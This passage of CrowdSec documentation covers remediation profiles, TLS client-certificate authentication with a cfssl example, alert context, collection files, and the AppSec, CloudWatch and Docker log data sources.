+ (120 * CrowdsecCTI(Alert.GetValue()).GetBackgroundNoiseScore())))" ## 240 minutes (4 hours) + 120 minutes per point of background noise score ## 120 = 20 * 60 / 10 (Max Background Noise Score) on_success: break --- name: default_ip_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h on_success: break ``` ### Potential False Triggers[โ€‹](#potential-false-triggers "Direct link to Potential False Triggers") Send a notification about a potential false triggers and break the alert evaluation: YAMLCOPY ``` name: false_positive filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && CrowdsecCTI(Alert.GetValue()).IsFalsePositive() notifications: - http_hive on_success: break --- name: default_ip_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h on_success: break ``` --- # Format ## Profile configuration example[โ€‹](#profile-configuration-example "Direct link to Profile configuration example") /etc/crowdsec/profiles.yaml YAML/etc/crowdsec/profiles.yamlCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" notifications: - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. on_success: break --- name: another_profile ... ``` ## Profile directives[โ€‹](#profile-directives "Direct link to Profile directives") ### `name`[โ€‹](#name "Direct link to name") YAMLCOPY ``` name: foobar ``` A label for the profile (used in logging) ### `debug`[โ€‹](#debug "Direct link to debug") YAMLCOPY ``` debug: true ``` A boolean flag that provides contextual debug. ### `filters`[โ€‹](#filters "Direct link to filters") YAMLCOPY ``` filters: - Alert.Remediation == true && Alert.GetScope() == "Session" - Alert.Remediation == true && Alert.GetScope() == "Ip" ``` If any `filter` of the list returns `true`, the profile is eligible and the `decisions` will be applied (note: `filter` can use [expr helpers](https://docs.crowdsec.net/docs/next/expr/intro.md)). The filter allows you to then create custom decisions for some specific scenarios for example: YAMLCOPY ``` name: specific_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && Alert.GetScenario() in ["crowdsecurity/ssh-bf", "crowdsecurity/ssh-user-enum"] decisions: - type: ban duration: 8h notifications: - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. on_success: break --- ... ``` This allows you as well to setup various notifications or profiles depending on the scope : YAMLCOPY ``` name: notif_only #debug: true filters: - Alert.GetScope() == "Country" notifications: - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. on_success: break --- ... ``` ### `decisions`[โ€‹](#decisions "Direct link to decisions") YAMLCOPY ``` decisions: - type: captcha duration: 1h scope: custom_app1_captcha - type: ban duration: 2h ``` If the profile applies, decisions objects will be created for each of the sources that triggered the scenario. It is a list of `models.Decision` objects. The following fields, when present, allows to alter the resulting decision : * `scope` : defines the scope of the resulting decision * `duration` : defines for how long will the decision be valid. The format must comply with [golang's ParseDuration](https://pkg.go.dev/time#ParseDuration) * `type` : defines the type of the remediation that will be applied by available bouncers, for example `ban`, `captcha` * `value` : define a hardcoded value for the decision (ie. `192.168.1.1`) ### `duration_expr`[โ€‹](#duration_expr "Direct link to duration_expr") YAMLCOPY ``` duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" ``` If the profile applies, and the `duration_expr` generates a valid [golang's duration](https://pkg.go.dev/time#ParseDuration), it will replace the decision duration. It can be used to have custom duration. For example, you can have an increased duration every time an attacker comes back. It relies on [expr helpers](https://docs.crowdsec.net/docs/next/expr/intro.md). ### `on_success`[โ€‹](#on_success "Direct link to on_success") YAMLCOPY ``` on_success: continue|break ``` If the profile applies and `on_success` is set to `break`, decisions processing will stop here and it won't evaluate against following profiles. * `continue` will apply the profile even if the filter expression generates an error. (DEFAULT) * `break` will stop the processing of the alert if the filter expression generates an error. ### `on_failure`[โ€‹](#on_failure "Direct link to on_failure") YAMLCOPY ``` on_failure: continue|break ``` If the profile didn't apply and `on_failure` is set to `break`, decisions processing will stop here and it won't evaluate against following profiles. * `continue` will continue to the next profile if the filter expression generates an error. (DEFAULT) * `break` will stop the processing of the alert if the filter expression generates an error. ### `on_error`[โ€‹](#on_error "Direct link to on_error") YAMLCOPY ``` on_error: continue|break|apply|ignore ``` If the filter expression generates an error, this would normally stop the alert from being processed to prevent a potential unwanted outcome. * `break` will stop the processing of the alert if the filter expression generates an error. (DEFAULT) * `continue` will continue to the next profile if the filter expression generates an error. * `apply` will apply the profile even if the filter expression generates an error. * `ignore` will ignore the error and continue to the next profile. However, there may be some expressions that do generate expected errors for example, when using the [CTI helpers](https://docs.crowdsec.net/docs/next/expr/cti_helpers.md) it may throw a rate limit error. ### `notifications`[โ€‹](#notifications "Direct link to notifications") YAMLCOPY ``` notifications: - notification_plugin1 - notification_plugin2 ``` The [list of notification plugins](https://docs.crowdsec.net/docs/next/local_api/notification_plugins/intro.md) to which the alert should be fed. --- # Introduction The profiles configuration allows users to configure which kind of remediation should be applied when a scenario is triggered. The profile can be used to: * increase or decrease decisions `duration` (default: `4h`) * decide the type of remediation that should be applied (default: `ban`) * decide the scope of the remediation (default: `ip`) * enable/disable debugging for a specific profile * enable [notification plugins](https://docs.crowdsec.net/docs/next/notification_plugins/intro/) to receive warnings via mail, slack or other means The profiles configuration is located in `/etc/crowdsec/profiles.yaml`. You can also write your profiles in a `profiles.yaml.local` file (as explained in [Crowdsec configuration](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md)), and they will be read *before* `profiles.yaml`. In this case, you may want to provide `on_success: break` because the YAML files are not merged together, but read as a single multi-document configuration. --- # PID info We use PID to refer to a process ID based events. We provide collection for host based indicators of compromise (IOCs) that can be used to detect malicious activity on your hosts. Collections: * [Auditd](https://hub.crowdsec.net/author/crowdsecurity/collections/auditd) * [Laurel](https://hub.crowdsec.net/author/crowdsecurity/configurations/laurel-logs) Currently we cannot remediate these alerts, however, we can send you a notification when we detect them. YAMLCOPY ``` name: pid_alert filters: - Alert.GetScope() == "pid" decisions: [] notifications: - slack_default ## Please edit the above line to match your notification name on_success: break --- ``` --- # TLS Authentication ## Overview[โ€‹](#overview "Direct link to Overview") In addition to the standard login/password (for agents) or API key (for bouncers), crowdsec also supports TLS client authentication for both. This allows you to bypass the requirement of generating a login/password or API keys before adding a new agent or bouncer to your setup. This is especially useful if you are using any kind of auto-scaling and agents or bouncers can appear at any time. ## Configuration[โ€‹](#configuration "Direct link to Configuration") The TLS authentication is configured in the `api.server.tls` section of the configuration for LAPI and in `/etc/crowdsec/local_api_credentials.yaml` for the agents. Please refer to the documentation of each bouncer to see how to configure them. ## Revocation checking[โ€‹](#revocation-checking "Direct link to Revocation checking") Crowdsec will perform both OCSP and CRL revocation check. #### CRL check[โ€‹](#crl-check "Direct link to CRL check") You can provide a path to a CRL file to crowdsec for revocation checking. The revocation check will be skipped if the CRL file is invalid or has expired. If no CRL file is provided, the check will also be skipped. The result of the check is kept in cache according to the `api.server.tls.cache_expiration` configuration. The CRL file is read each time the check is performed, so you can update it with a cronjob without needing to reload crowdsec. #### OCSP check[โ€‹](#ocsp-check "Direct link to OCSP check") If the certificate contains an OCSP URL, crowdsec will make a query to the OCSP server to check for the revocation status. The result of the check is kept in cache according to the `api.server.tls.cache_expiration` configuration. If the OCSP server returns a malformed response, this check will be ignored. ## Example[โ€‹](#example "Direct link to Example") ### PKI creation[โ€‹](#pki-creation "Direct link to PKI creation") For this example, we will be creating our PKI with [cfssl](https://github.com/cloudflare/cfssl) directly on the machine where crowdsec is running. In production, you will want to use your existing PKI infrastructure for obvious security reasons. For the sake of simplicity, we will be using the same CA for the server and client certificates (in production, you will likely use differents CAs). We will need some configuration files for cfssl. First, we need to define some profiles for our cert in `profiles.json`: JSONCOPY ``` { "signing": { "default": { "expiry": "8760h" }, "profiles": { "intermediate_ca": { "usages": [ "signing", "digital signature", "key encipherment", "cert sign", "crl sign", "server auth", "client auth" ], "expiry": "8760h", "ca_constraint": { "is_ca": true, "max_path_len": 0, "max_path_len_zero": true } }, "server": { "usages": [ "signing", "digital signing", "key encipherment", "server auth" ], "expiry": "8760h" }, "client": { "usages": [ "signing", "digital signature", "key encipherment", "client auth" ], "expiry": "8760h" } } } } ``` Then, `ca.json` will define our CA: JSONCOPY ``` { "CN": "CrowdSec Test CA", "key": { "algo": "rsa", "size": 2048 }, "names": [ { "C": "FR", "L": "Paris", "O": "Crowdsec", "OU": "Crowdsec", "ST": "France" } ] } ``` Next, `intermediate.json` will define our intermediate cert: JSONCOPY ``` { "CN": "CrowdSec Test CA Intermediate", "key": { "algo": "rsa", "size": 2048 }, "names": [ { "C": "FR", "L": "Paris", "O": "Crowdsec", "OU": "Crowdsec Intermediate", "ST": "France" } ], "ca": { "expiry": "42720h" } } ``` Our server side certificate is defined in `server.json`: JSONCOPY ``` { "CN": "localhost", "key": { "algo": "rsa", "size": 2048 }, "names": [ { "C": "FR", "L": "Paris", "O": "Crowdsec", "OU": "Crowdsec Server", "ST": "France" } ], "hosts": [ "127.0.0.1", "localhost" ] } ``` Lastly, we will define our bouncer certificate, `bouncer.json`: JSONCOPY ``` { "CN": "mybouncer", "key": { "algo": "rsa", "size": 2048 }, "names": [ { "C": "FR", "L": "Paris", "O": "Crowdsec", "OU": "bouncer-ou", "ST": "France" } ] } ``` and `agent.json`: JSONCOPY ``` { "CN": "myagent", "key": { "algo": "rsa", "size": 2048 }, "names": [ { "C": "FR", "L": "Paris", "O": "Crowdsec", "OU": "agent-ou", "ST": "France" } ] } ``` We can now create our CA and the certs: SHCOPY ``` #generate the CA cfssl gencert --initca ./cfssl/ca.json 2>/dev/null | cfssljson --bare "/tmp/ca" #Generate an intermediate certificate that will be used to sign the client certificates cfssl gencert --initca ./cfssl/intermediate.json 2>/dev/null | cfssljson --bare "/tmp/inter" cfssl sign -ca "/tmp/ca.pem" -ca-key "/tmp/ca-key.pem" -config ./cfssl/profiles.json -profile intermediate_ca "/tmp/inter.csr" 2>/dev/null | cfssljson --bare "/tmp/inter" #Generate a server side certificate cfssl gencert -ca "/tmp/inter.pem" -ca-key "/tmp/inter-key.pem" -config ./cfssl/profiles.json -profile=server ./cfssl/server.json 2>/dev/null | cfssljson --bare "/tmp/server" #Generate a client certificate for the bouncer cfssl gencert -ca "/tmp/inter.pem" -ca-key "/tmp/inter-key.pem" -config ./cfssl/profiles.json -profile=client ./cfssl/bouncer.json 2>/dev/null | cfssljson --bare "/tmp/bouncer" #Generate a client certificate for the agent cfssl gencert -ca "/tmp/inter.pem" -ca-key "/tmp/inter-key.pem" -config ./cfssl/profiles.json -profile=client ./cfssl/agent.json 2>/dev/null | cfssljson --bare "/tmp/agent" ``` ### Configuration[โ€‹](#configuration-1 "Direct link to Configuration") We now need to update LAPI configuration to use our newly generated certificates by editing `/etc/crowdsec/config.yaml`: YAMLCOPY ``` api: server: tls: cert_file: /tmp/server.pem #Server side cert key_file: /tmp/server-key.pem #Server side key ca_cert_path: /tmp/inter.pem #CA used to verify the client certs bouncers_allowed_ou: #OU allowed for bouncers - bouncer-ou agents_allowed_ou: #OU allowed for agents - agent-ou ``` We also need to update our agent configuration to use a certificate to login to LAPI in `/etc/crowdsec/local_api_credentials.yaml`: YAMLCOPY ``` url: https://localhost:8081 ca_cert_path: /tmp/inter.pem #CA to trust the server certificate key_path: /tmp/agent-key.pem #Client key cert_path: /tmp/agent.pem #Client cert ``` ### Using the certificates[โ€‹](#using-the-certificates "Direct link to Using the certificates") Now when we restart crowdsec, we will see in the logs that a new agent was creating automatically: TEXTCOPY ``` INFO[26-04-2022 13:42:36] TLSAuth: no OCSP Server present in client certificate, skipping OCSP verification component=tls-auth type=agent WARN[26-04-2022 13:42:36] no crl_path, skipping CRL check component=tls-auth type=agent INFO[26-04-2022 13:42:36] client OU [agent-ou] is allowed vs required OU [agent-ou] component=tls-auth type=agent INFO[26-04-2022 13:42:36] machine myagent@127.0.0.1 not found, create it INFO[26-04-2022 13:42:36] 127.0.0.1 - [Tue, 26 Apr 2022 13:42:36 CEST] "POST /v1/watchers/login HTTP/2.0 200 117.853833ms "crowdsec/v1.3.3-rc2-55-g0988e03a-darwin-0988e03ab8b77ad08874266cf623e71396a68c6c" " INFO[26-04-2022 13:42:36] client OU [agent-ou] is allowed vs required OU [agent-ou] component=tls-auth type=agent INFO[26-04-2022 13:42:36] 127.0.0.1 - [Tue, 26 Apr 2022 13:42:36 CEST] "POST /v1/watchers/login HTTP/2.0 200 1.267458ms "crowdsec/v1.3.3-rc2-55-g0988e03a-darwin-0988e03ab8b77ad08874266cf623e71396a68c6c" " ``` We can see the agent with `cscli`: SHCOPY ``` $ cscli machines list ------------------------------------------------------------------------------------------------------------------------------------------------- NAME IP ADDRESS LAST UPDATE STATUS VERSION AUTH TYPE ------------------------------------------------------------------------------------------------------------------------------------------------- myagent@127.0.0.1 127.0.0.1 2022-04-26T11:42:36Z โœ”๏ธ v1.3.3-rc2-55-g0988e03a-darwin-0988e03ab8b77ad08874266cf623e71396a68c6c tls ------------------------------------------------------------------------------------------------------------------------------------------------- ``` We see that the agent name was automatically derived from the certificate Common Name and agent IP address. We can simulate a bouncer request using `curl`: SHCOPY ``` $ curl --cacert /tmp/inter.pem --cert /tmp/bouncer.pem --key /tmp/bouncer-key.pem https://localhost:8081/v1/decisions/stream?startup=true {"deleted":[{"duration":"-18h13m35.223932s","id":38,"origin":"crowdsec","scenario":"crowdsecurity/http-cve-2021-41773","scope":"Ip","type":"ban","value":"23.94.26.138"}],"new":null} ``` Because this is the first time this "bouncer" makes a request to LAPI, a new bouncer will be automatically created in crowdsec database. As with the agent, the name of the bouncer is `CN@IP`: SHCOPY ``` $ cscli bouncers list ---------------------------------------------------------------------------------------- NAME IP ADDRESS VALID LAST API PULL TYPE VERSION AUTH TYPE ---------------------------------------------------------------------------------------- mybouncer@127.0.0.1 127.0.0.1 โœ”๏ธ 2022-04-26T11:45:25Z curl 7.79.1 tls ---------------------------------------------------------------------------------------- ``` If we try to use the agent certificate with our fake bouncer, LAPI with return an error as the OU is not allowed for the bouncers: SHCOPY ``` $ curl --cacert /tmp/inter.pem --cert /tmp/agent.pem --key /tmp/agent-key.pem https://localhost:8081/v1/decisions/stream\?startup\=true {"message":"access forbidden"} ``` And in crowdsec logs: TEXTCOPY ``` ERRO[26-04-2022 13:47:58] invalid client certificate: client certificate OU ([agent-ou]) doesn't match expected OU ([bouncer-ou]) ip=127.0.0.1 ``` Now, if we revoke the certificate used by the bouncer, crowdsec will reject any request made using this certificate: SHCOPY ``` #serials.txt contain the serial of the bouncer certificate $ cfssl gencrl serials.txt /tmp/inter.pem /tmp/inter-key.pem | base64 -d | openssl crl -inform DER -out /tmp/crl.pem ``` Let's update crowdsec config to make use of our newly generated CRL: YAMLCOPY ``` api: server: tls: crl_path: /tmp/crl.pem ``` Let's query the API again: SHCOPY ``` $ curl --cacert /tmp/inter.pem --cert /tmp/bouncer.pem --key /tmp/bouncer-key.pem https://localhost:8081/v1/decisions/stream\?startup\=true {"message":"access forbidden"} ``` And we can see in crowdsec logs that the request was denied: TEXTCOPY ``` ERRO[26-04-2022 14:01:00] TLSAuth: error checking if client certificate is revoked: could not check for client certification revokation status: client certificate is revoked by CRL component=tls-auth type=bouncer ERRO[26-04-2022 14:01:00] invalid client certificate: could not check for client certification revokation status: could not check for client certification revokation status: client certificate is revoked by CRL ip=127.0.0.1 ``` --- # Alert Context ## Introduction[โ€‹](#introduction "Direct link to Introduction") As the [Log Processor](https://docs.crowdsec.net/docs/next/log_processor/intro.md) processes logs, it will detect patterns of interest known as [Scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md). When a scenario is detected, an alert is generated and sent to the [Local API](https://docs.crowdsec.net/docs/next/local_api/intro.md) (LAPI) for evaluation. When the alert is generated you can define additional Alert Context that can be sent along with the alert to give you context about the alert. This can be useful when you host multiple applications on the same server and you want to know which application generated the alert. ### Format[โ€‹](#format "Direct link to Format") The format of Alert Context are key value pairs that are sent along with the alert. When you install some [Collections](https://docs.crowdsec.net/docs/next/log_processor/collections/intro.md) you will see that they come with Alert Context pre-configured. For example if you install the `crowdsecurity/nginx` collection you will see that the `http_base` context is added: YAMLCOPY ``` #this context file is intended to provide minimal and useful information about HTTP scenarios. context: target_uri: - evt.Meta.http_path user_agent: - evt.Meta.http_user_agent method: - evt.Meta.http_verb status: - evt.Meta.http_status ``` Contexts are stored within the `contexts` directory within the root of the `config` directory, you can see the directory based on your OS [here](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#where-is-configuration-stored). info As an example the default directory for linux is `/etc/crowdsec/` so the `contexts` directory would be `/etc/crowdsec/contexts/` Here a quick breakdown of the context file: * `context` : This is the root key of the context file. * `target_uri` : This is the key that will be used as the "name" of the context. * `evt.Meta.http_path` : This is the expression that will be evaluated to get the value of the context. In this case it will be the `http_path` field from the event. The next key value pair would be `user_agent` and so on. ## Next Steps?[โ€‹](#next-steps "Direct link to Next Steps?") We have written a full guide on Alert Context that you can find [here](https://docs.crowdsec.net/u/user_guides/alert_context.md). This guide will show you how to create your own Alert Context and how to use it within your scenarios. --- # Format ## Collection configuration example[โ€‹](#collection-configuration-example "Direct link to Collection configuration example") /etc/crowdsec/collections/my-collection.yaml YAML/etc/crowdsec/collections/my-collection.yamlCOPY ``` # List the Hub items included in this collection. # Names are the same as in `cscli ... list -a` (for example: `cscli scenarios list -a`). # # the list of parsers it contains parsers: - crowdsecurity/syslog-logs - crowdsecurity/geoip-enrich - crowdsecurity/dateparse-enrich #the list of collections it contains collections: - crowdsecurity/sshd # the list of contexts it contains # contexts: # - crowdsecurity/http_base # the list of postoverflows it contains # postoverflows: # - crowdsecurity/seo-bots-whitelist # the list of scenarios it contains # scenarios: # - crowdsecurity/http-crawl-non_statics # the list of appsec-rules it contains (WAF rules) # appsec-rules: # - crowdsecurity/crs # the list of appsec-configs it contains (WAF configurations) # appsec-configs: # - crowdsecurity/virtual-patching description: "core linux support : syslog+geoip+ssh" author: crowdsecurity tags: - linux ``` ## Collection directives[โ€‹](#collection-directives "Direct link to Collection directives") ### `parsers`[โ€‹](#parsers "Direct link to parsers") YAMLCOPY ``` parsers: ``` List of parsers to include in the collection. ### `collections`[โ€‹](#collections "Direct link to collections") YAMLCOPY ``` collections: ``` List of collections to include (collections can include other collections). ### `scenarios`[โ€‹](#scenarios "Direct link to scenarios") YAMLCOPY ``` scenarios: ``` List of scenarios to include in the collection. ### `contexts`[โ€‹](#contexts "Direct link to contexts") YAMLCOPY ``` contexts: ``` List of alert context definitions to include in the collection. Contexts enrich alerts with additional key/value fields and are stored under the `contexts` directory in the CrowdSec configuration. See [Alert Context](https://docs.crowdsec.net/docs/next/log_processor/alert_context/intro.md) and the `cscli` commands used to manage Hub contexts: [`cscli contexts`](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts.md). ### `postoverflows`[โ€‹](#postoverflows "Direct link to postoverflows") YAMLCOPY ``` postoverflows: ``` List of postoverflows to include in the collection. See [Postoverflows](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md#postoverflows). ### `appsec-rules`[โ€‹](#appsec-rules "Direct link to appsec-rules") YAMLCOPY ``` appsec-rules: ``` List of AppSec (WAF) rules to include in the collection. See [AppSec](https://docs.crowdsec.net/docs/next/appsec/intro.md) and [`cscli appsec-rules`](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules.md). ### `appsec-configs`[โ€‹](#appsec-configs "Direct link to appsec-configs") YAMLCOPY ``` appsec-configs: ``` List of AppSec configuration items to include in the collection (these define which rules are evaluated and how matches are handled). See [AppSec configuration](https://docs.crowdsec.net/docs/next/appsec/configuration.md) and [`cscli appsec-configs`](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs.md). ### `description`[โ€‹](#description "Direct link to description") YAMLCOPY ``` description: ``` The `description` is mandatory. It is a quick sentence describing what it detects. ### `author`[โ€‹](#author "Direct link to author") YAMLCOPY ``` author: ``` The name of the author. ### `tags`[โ€‹](#tags "Direct link to tags") YAMLCOPY ``` tags: ``` List of tags. --- # Introduction Collections are bundles of detection content that you install together to support a given service or use case (for example: NGINX, SSH, WordPress, or generic HTTP attacks). In practice, a collection is a YAML file that references other Hub items such as: * **Parsers**: extract structured fields from raw log lines. See [Parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md). * **Scenarios**: detect behaviors by correlating events over time. See [Scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md). * **Postoverflows**: additional processing after a scenario triggers (often used for last-chance whitelisting). See [Postoverflows](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md#postoverflows) and [Whitelists](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md). * **Contexts**: enrich alerts with additional key/value fields. See [Alert Context](https://docs.crowdsec.net/docs/next/log_processor/alert_context/intro.md). * **AppSec rules / configurations**: WAF rules and their configuration. See [AppSec](https://docs.crowdsec.net/docs/next/appsec/intro.md) and [AppSec configuration](https://docs.crowdsec.net/docs/next/appsec/configuration.md). ## Why collections exist[โ€‹](#why-collections-exist "Direct link to Why collections exist") Collections are the recommended way to install detection content because they: * Keep configurations consistent (the right parsers + scenarios shipped together). * Make installation and updates easier (one package per service). * Reduce missed detections caused by incomplete installs. ## Installing and updating collections[โ€‹](#installing-and-updating-collections "Direct link to Installing and updating collections") Collections are distributed via the CrowdSec Hub and managed with `cscli`: * Update the Hub index: see [`cscli hub update`](https://docs.crowdsec.net/docs/next/cscli/cscli_hub_update.md) * Install or upgrade items: see [`cscli hub upgrade`](https://docs.crowdsec.net/docs/next/cscli/cscli_hub_upgrade.md) and [Hub management](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md) ## Collection file format[โ€‹](#collection-file-format "Direct link to Collection file format") To understand what a collection can contain (and how it is defined), see [Collection format](https://docs.crowdsec.net/docs/next/log_processor/collections/format.md). --- # Application Security Component This module allows you to enable the `Application Security Component` as a data source. A more detailed documentation is available [here](https://docs.crowdsec.net/docs/next/appsec/intro.md). A quickstart tutorial is available for [Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) and [Traefik](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md). ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") To start an Application Security Component on port 7422, listening on 127.0.0.1, using the `crowdsecurity/appsec-default` configuration: YAMLCOPY ``` source: appsec listen_addr: 127.0.0.1:7422 path: / appsec_configs: - crowdsecurity/appsec-default labels: type: appsec ``` ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") The address and port to listen on. Defaults to `127.0.0.1:7422`. ### `path`[โ€‹](#path "Direct link to path") The path the Application Security Component will respond to. Defaults to `/`. ### `appsec_configs`[โ€‹](#appsec_configs "Direct link to appsec_configs") The list of appsec-configs to use (as seen in `cscli appsec-configs list`). ### `appsec_config`[โ€‹](#appsec_config "Direct link to appsec_config") **Deprecated**, use [`appsec_configs`](#appsec_configs) ### `appsec_config_path`[โ€‹](#appsec_config_path "Direct link to appsec_config_path") **Deprecated**, use [`appsec_configs`](#appsec_configs) ### `routines`[โ€‹](#routines "Direct link to routines") Number of routines to use to process the requests. Defaults to 1. ### `auth_cache_duration`[โ€‹](#auth_cache_duration "Direct link to auth_cache_duration") How long to cache the auth token for. Accepts value supported by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration). Defaults to 1m. ### `body_read_timeout`[โ€‹](#body_read_timeout "Direct link to body_read_timeout") How long to wait for the remediation component to finish sending the request body before giving up and processing whatever was received. Accepts value supported by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration). Set to `0` to disable the timeout. Defaults to 1s. ### `cert_file`[โ€‹](#cert_file "Direct link to cert_file") Path to the cert file to allow HTTPS communication between the remediation component and the appsec component. ### `key_file`[โ€‹](#key_file "Direct link to key_file") Path to the key file to allow HTTPS communication between the remediation component and the appsec component. ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") This module does not support acquisition from the command line. --- # AWS Cloudwatch This module allows the `Security Engine` to acquire logs from AWS's cloudwatch service, in one-shot and streaming mode. info Instead of using this datasource, we recommend setting up a log subscription filter in your AWS account to push the logs to a kinesis stream, and use the [kinesis datasource](https://docs.crowdsec.net/docs/next/log_processor/data_sources/kinesis.md) to read them. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") To monitor a given stream within a group : YAMLCOPY ``` source: cloudwatch log_level: info group_name: /aws/my/group/ stream_name: 'given_stream' aws_profile: monitoring aws_config_dir: /home/user/.aws/ labels: type: apigateway ``` To monitor streams matching regexp within a group : YAMLCOPY ``` source: cloudwatch group_name: /aws/my/group/ stream_regexp: '^stream[0-9]+$' aws_profile: monitoring labels: type: apigateway ``` Look at the `configuration parameters` to view all supported options. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### `group_name`[โ€‹](#group_name "Direct link to group_name") Name of the group to monitor, exact match. ### `stream_regexp`[โ€‹](#stream_regexp "Direct link to stream_regexp") A RE2 expression that will restrict streams within the group that will be monitored. ### `stream_name`[โ€‹](#stream_name "Direct link to stream_name") Name of stream to monitor, exact match. ### `*_limit`[โ€‹](#_limit "Direct link to _limit") * describelogstreams\_limit : control the pagination size of describelogstreams calls (default: `1000`) * getlogeventspages\_limit : control the pagination size of getlogeventspages calls (default: `1000`) ### `*_interval`[โ€‹](#_interval "Direct link to _interval") > note : AWS SDK allows to identify streams according to the timestamp of the latest even within, and this is what we rely on. * poll\_new\_stream\_interval : frequency to poll for new stream within given group (default `10s`) * max\_stream\_age : open only streams for which last event is at most this age (default `5m`) * poll\_stream\_interval : frequency to poll for new events within given group (default `10s`) * stream\_read\_timeout : stop reading a given stream when no new events have been seen for this duration (default `10m`) ### `prepend_cloudwatch_timestamp`[โ€‹](#prepend_cloudwatch_timestamp "Direct link to prepend_cloudwatch_timestamp") When set to `true` (default: `false`), prepend the cloudwatch event timestamp to the generated log string. This is intended for cases where you log itself wouldn't contain timestamp. ### `aws_profile`[โ€‹](#aws_profile "Direct link to aws_profile") The aws profile to use to poll cloudwatch, relies on your `~/.aws/config/`. ### `aws_config_dir`[โ€‹](#aws_config_dir "Direct link to aws_config_dir") The path to your `~/.aws/`, defaults to `/root/.aws`. ### `source`[โ€‹](#source "Direct link to source") Must be `cloudwatch` ## DSN and command-line[โ€‹](#dsn-and-command-line "Direct link to DSN and command-line") cloudwatch implements a very approximative DSN, as follows : `cloudwatch:///your/group/path:stream_name?[args]` Supported args are : * `log_level` : set log level of module * `profile` : set aws profile name * `start_date` / `end_date` : provide start and end date limits for events, see [supported formats](https://hub.crowdsec.net/author/crowdsecurity/configurations/dateparse-enrich) * `backlog` : provide a duration, events from now()-duration till now() will be read A 'pseudo DSN' must be provided: SHCOPY ``` crowdsec -type nginx -dsn 'cloudwatch:///?backlog=12h&profile=' ``` You can specify the `log_level` parameter to change the log level for the acquisition : SHCOPY ``` crowdsec -type nginx -dsn 'cloudwatch:///?backlog=12h&profile=&log_level=debug' ``` # Notes This data source lacks unit tests because mocking aws sdk is fastidious. --- # Docker This module allows the `Security Engine` to acquire logs from running containers, in one-shot and streaming mode. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") ### Container[โ€‹](#container "Direct link to Container") To monitor a given container name or ID: YAMLCOPY ``` source: docker container_name: - my_container_name container_id: - 843ee92d231b labels: type: log_type ``` To monitor containers name or ID matching a regex: YAMLCOPY ``` source: docker container_name_regexp: - my_containers_* container_id_regexp: - i-* labels: type: log_type ``` ### Swarm[โ€‹](#swarm "Direct link to Swarm") To monitor a given Swarm service name or ID: YAMLCOPY ``` source: docker service_name: - my_service_name service_id: - abcdef123456 labels: type: log_type ``` To monitor Swarm services name or ID matching a regex: YAMLCOPY ``` source: docker service_name_regexp: - web_* service_id_regexp: - svc-* labels: type: log_type ``` Look at the `configuration parameters` to view all supported options. ## Parameters[โ€‹](#parameters "Direct link to Parameters") warning you should not mix `container` options and `swarm` options as it may lead to duplicate logs being read. if you plan to use `swarm` options solely use these options. ### Container[โ€‹](#container-1 "Direct link to Container") #### `container_name`[โ€‹](#container_name "Direct link to container_name") List of containers names to monitor. #### `container_id`[โ€‹](#container_id "Direct link to container_id") List of containers IDs to monitor. #### `container_name_regexp`[โ€‹](#container_name_regexp "Direct link to container_name_regexp") List of regexp matching containers names to monitor. #### `container_id_regexp`[โ€‹](#container_id_regexp "Direct link to container_id_regexp") List of regexp matching containers ID to monitor. #### `use_container_labels`[โ€‹](#use_container_labels "Direct link to use_container_labels") Forces the use of container labels to get the log type. Meaning you can define a single docker datasource and let the labels of the container define the log type. YAMLCOPY ``` source: docker use_container_labels: true ``` Currently here is the list of reserved labels for the container: `crowdsec.enable` : Enable crowdsec acquisition for this container the value must be set to `crowdsec.enable=true` for the container to be adopted. `crowdsec.labels` : Top level key that will parse into the labels struct for the acquisition, for example `crowdsec.labels.type=nginx` will be parsed to the following: YAMLCOPY ``` labels: type: nginx ``` Here is an example of running a nginx container with the labels: SHCOPY ``` docker run -d --label crowdsec.enable=true --label crowdsec.labels.type=nginx nginx:alpine ``` ### Swarm[โ€‹](#swarm-1 "Direct link to Swarm") #### `service_name`[โ€‹](#service_name "Direct link to service_name") List of service names to monitor. #### `service_id`[โ€‹](#service_id "Direct link to service_id") List of service IDs to monitor. #### `service_name_regexp`[โ€‹](#service_name_regexp "Direct link to service_name_regexp") List of regexp matching service names to monitor. #### `service_id_regexp`[โ€‹](#service_id_regexp "Direct link to service_id_regexp") List of regexp matching service ID to monitor #### `use_service_labels`[โ€‹](#use_service_labels "Direct link to use_service_labels") Forces the use of service labels to get the log type. Meaning you can define a single docker datasource and let the labels of the service define the log type. YAMLCOPY 